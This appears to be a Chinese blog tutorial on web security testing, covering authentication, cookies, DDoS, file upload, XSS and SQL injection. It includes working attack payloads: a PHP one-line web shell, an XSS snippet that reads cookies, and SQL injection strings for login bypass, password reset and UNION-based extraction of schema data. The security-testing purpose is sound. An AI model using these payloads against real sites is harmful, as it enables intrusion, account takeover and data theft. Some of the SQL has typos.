Web安全性测试

一、认证与授权

1、认证  即登录功能正常

2、权限  每个用户拥有正确的权限

3、避免未经授权的页面可以直接访问,通过认证和权限(Session),对每个页面有一个判断。例如在知道一个页面的绝对url地址后,该页面有个session变量叫login-in,如果login-in为False时访问该页面跳转到登录页面,为True可正常访问。

4、在手动进行安全测试时,对所有url地址在不登录时直接访问

二、Session与Cookie

1、避免保存敏感信息到cookie文件中。如用户名、密码

2、作用域  不同应用系统不同作用域。下图中为单个应用系统,Path对应的是这个cookie的作用域,斜杠表示根目录,即该条cookeie作用域为整个应用系统。

Set-Cookie: access-token=LluyJIfAggsBH_woZgQAledLq3ZJzNwOD501WuvHNdjV5JthEWw; Path=/

三、DDOS拒绝服务攻击

1、向服务器疯狂发送请求,导致服务器崩溃,无法进行正常处理

2、肉鸡  远程控制多台电脑同时向服务器发请求

3、攻击联盟  与肉鸡同样的道理,达到分布式效果。由于请求都是真实的,但是请求量过大导致服务器崩溃。服务器无法通过禁用IP、防火墙来限制,最好的解决方式,增加服务器资源。

4、利用TCP建立连接的规则  TCP建立连接需要经历三次捂手的过程,简单描述为:①C-->S ② S-->C ③C-->S  如果三次握手成功则会建立稳定的TCP连接。根据这种规则,客户端模拟一个不存在IP地址向服务器发送TCP连接的请求,服务端在向客户端发起第二次握手时由于找不到IP地址,连接资源一直处于等待状态。连接数量过大时会导致服务器资源崩溃。

四、文件上传漏洞

1、文件上传的过滤:①通过后缀名过滤;②通过二进制来判断文件类型(防止修改后缀名);

2、修改服务器核心参数,禁止脚本引擎运行系统命令;

3、<?php system($_GET['cmd']); ?>

将该命令写一个php文件并上传,上传后直接点击php文件,如果在windows,http://127.0.0.1:8080/?cmd=dir 显示当前目录。如果不做限制,那么就能执行任意命令。

五、XSS跨站攻击

1、什么是跨站攻击:XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

2、如何写XSS脚本  对所有输入框做校验。

<input type="button" value="点击" onclick="alert('你好')" />以上一行代码在输入框输入并提交成功后,如果页面出现一个可点击按钮,表示没有对输入内容进行过滤,存在安全问题。

3、获取用户cookie

在将代码修改为下列一行后(在页面展示为可点击美女图片),其他用户在点击后,就直接能获取到用户cookie

<img src="http://www.win4000.com/meinv165398.html" onclick="document.getElementById('kw').value=document.cookie">

六、SQL注入

1、最通用一个攻击手段,用于关系型数据库

2、通过SQL注入获取服务器端数据库的内容

3、通过SQL注入修改数据库的内容

4、php, asp, jsp, mysql, sqlserver, oracle, access都有不同的攻击方式

登录SQL注入举例:

在输入用户名密码后,一般系统会去数据库匹配校验,校验的可能sql猜想如下:

select * from user where username=‘$username’ and password=‘$password’

select username,  password from user where username=‘$username’

if  (count() == 1)

        if (password=$password)

                登录成功

如果为第一种最不安全的匹配方式,修改用户名:

$username=x' or userid=1 # '

替换第一条的username后语句变为:

select * from user where username=‘x' or userid=1 # ' and password=$password

#会将后面的password校验直接注释掉

修改用户密码:

$username=x' ; update user set password='123456' where userid=1 #' 

替换第一条的username后语句变为:

select * from user where username=‘x' ; update user set password='123456' where userid=1 #' ’ and password=‘$password’

如果页面用户名输入框限制了用户输入长度,可使用工具跳过页面校验。

如果服务器端也没有进行校验,此时会更新userid=1的密码为123456。请求完成后,在页面用户名输入框输入x' or userid=1 # ',密码输入:123456,点击登录,如果登录成功,表示密码修改成功。如果没有登录成功, 可能的原因:①表名user猜错;②列名password、userid其中一个或两个猜错;③密码以加密保存。

对①②中情况,只能进行多次尝试,对③,先对123456进行MD5加密后重新执行语句,然后再尝试:在页面用户名输入框输入x' or userid=1 # ',密码输入:123456,点击登录,如果登录成功,表示密码修改成功。

实现登录SQL注入条件:

1、服务器端没有对输入长度进行验证

2、需要对表名、列名、加密方式进行猜错(对自身系统,可直接查看)

利用url地址参数进行SQL注入:

如:http://localhost/phpwind/read.php?tid=9527

后端查询该条内容可能方式:select * from thread  where tid=9527

通过以下三种方式进行SQL注入试探:

  1. tid=9527'  
  2. tid=9527 and 1=2
  3. tid=9527 order by 10

如果以上三种试探页面返回对应SQL查询结果,则存在SQL注入漏洞。使用以下方式获取数据库表名和列名:

select * from thread  where tid=9527 and 1=2 union select 1,2,3,4,5,6,7,8,9

上一条SQL分两个查询,union之前的查询结果列的数量需要和union之后查询的数量(9)相等。执行后,会在页面显示出可执行的其中一列的结果。在能显示出查询结果的列,输入:database()、user()获取数据库名、用户名。

如果列1为能显示查询结果的列,SQL如下:

select * from thread  where tid=9527 and 1=2 union select database(),2,3,4,5,6,7,8,9   查询出数据库名:learn

select * from thread  where tid=9527 and 1=2 union select user(),2,3,4,5,6,7,8,9   查询出用户名

select * from thread  where tid=9527 and 1=2 union select table_name,2,3,4,5,6,7,8,9 from information_schem.tables where table_scheme='learn'  limit 1,1(limit 1,1表示从第2条开始显示,一共只显示1条)    获取表名:user

select * from thread  where tid=9527 and 1=2 union select column_name,2,3,4,5,6,7,8,9 from information_schem.columns where table_scheme='learn'  and table_name='user' limit 1,1       获取user表的列名

到这一步,已经可以把数据库的所有数据抓取下来了。

七、暴力破解

顾名思义,暴力破解的原理就是使用攻击者自己的用户名和密码字典,一个一个去枚举,尝试是否能够登录。因为理论上来说,只要字典足够庞大,枚举总是能够成功的!

网上百度安全测试 暴力破解,基本都是Burp Suite的教程。

猜你喜欢

转载自blog.csdn.net/showgea/article/details/84638614
今日推荐